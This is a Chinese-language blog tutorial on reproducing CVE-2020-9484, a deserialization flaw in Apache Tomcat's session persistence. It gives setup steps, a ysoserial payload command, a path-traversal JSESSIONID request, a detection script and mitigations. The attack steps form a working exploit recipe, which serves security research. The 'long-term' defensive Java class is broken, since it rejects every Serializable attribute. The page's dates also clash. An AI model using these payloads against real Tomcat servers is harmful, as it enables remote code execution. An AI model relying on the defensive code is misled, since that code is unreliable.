如何进行CVE-2020-9484 TomcatSession反序列化复现

发布时间:2021-12-17 16:25:19 作者:柒染
来源:亿速云 阅读:284
# 如何进行CVE-2020-9484 TomcatSession反序列化复现

## 漏洞概述

CVE-2020-9484是Apache Tomcat中的一个高危反序列化漏洞,影响版本包括:
- 10.0.0-M1至10.0.0-M4
- 9.0.0.M1至9.0.34
- 8.5.0至8.5.54
- 7.0.0至7.0.103

当Tomcat配置了**PersistentManager**并启用**FileStore**存储会话时,攻击者可通过精心构造的恶意session对象实现远程代码执行(RCE)。

## 环境搭建

### 1. 准备漏洞环境
```bash
# 下载受影响版本的Tomcat(示例使用8.5.54)
wget https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.54/bin/apache-tomcat-8.5.54.tar.gz
tar -xvf apache-tomcat-8.5.54.tar.gz
cd apache-tomcat-8.5.54

2. 配置PersistentManager

修改conf/context.xml

<Manager className="org.apache.catalina.session.PersistentManager">
  <Store className="org.apache.catalina.session.FileStore" 
         directory="/path/to/sessions"/>
</Manager>

3. 部署测试应用

webapps/ROOT/WEB-INF/web.xml中添加:

<distributable/>

漏洞复现步骤

1. 生成恶意序列化数据

使用ysoserial生成Payload(示例使用CommonsCollections2):

java -jar ysoserial.jar CommonsCollections2 "touch /tmp/pwned" > session.ser

2. 构造恶意请求

将序列化文件上传至FileStore目录后,通过Cookie控制session ID:

GET / HTTP/1.1
Host: vulnerable-server:8080
Cookie: JSESSIONID=../../../../../../../../path/to/sessions/exp

3. 验证执行结果

检查目标服务器是否创建文件:

ls -la /tmp/pwned

技术原理分析

漏洞产生于三个关键条件同时满足: 1. PersistentManager启用:会话持久化到存储系统 2. FileStore配置:会话数据以文件形式存储 3. 可预测的session路径:攻击者可控制session文件位置

攻击链:

恶意序列化数据 -> 文件上传 -> Session反序列化 -> RCE

防御措施

临时解决方案

  1. 禁用PersistentManager
  2. 升级至修复版本:
    • 10.0.0-M5+
    • 9.0.35+
    • 8.5.55+
    • 7.0.104+

长期建议

// 实现自定义Session管理器时添加过滤
public class SafeManager extends ManagerBase {
    @Override
    protected void checkSessionAttribute(String name, Object value) {
        if (value instanceof Serializable) {
            throw new IllegalArgumentException("Unsafe serialization attempt");
        }
    }
}

扩展知识

相关CVE

检测脚本示例

import requests

def check_cve_2020_9484(url):
    try:
        res = requests.get(f"{url}/", cookies={"JSESSIONID": "../../../test"})
        return "java.io.FileNotFoundException" in res.text
    except:
        return False

法律声明

本文仅用于安全研究目的,未经授权不得对实际系统进行测试。根据《网络安全法》第二十七条,任何个人和组织不得从事非法侵入他人网络等危害网络安全的活动。


作者:安全研究员
更新日期:2023年11月
关键词:Apache Tomcat, 反序列化, RCE, 漏洞复现 “`

注:实际复现时需注意: 1. 确保测试环境隔离 2. 不同Tomcat版本可能需要调整Payload 3. 文件路径需要根据实际环境修改 4. 建议使用docker容器快速搭建测试环境

推荐阅读:
  1. 如何进行Drupal YAML 反序列化代码执行漏洞CVE-2017-6920复现
  2. 如何进行fastjson1.2.24复现与分析

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

cve-2020-9484

上一篇:如何解决session的复制与共享以及分布式缓存的设计问题

下一篇:如何进行springboot配置templates直接访问的实现

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》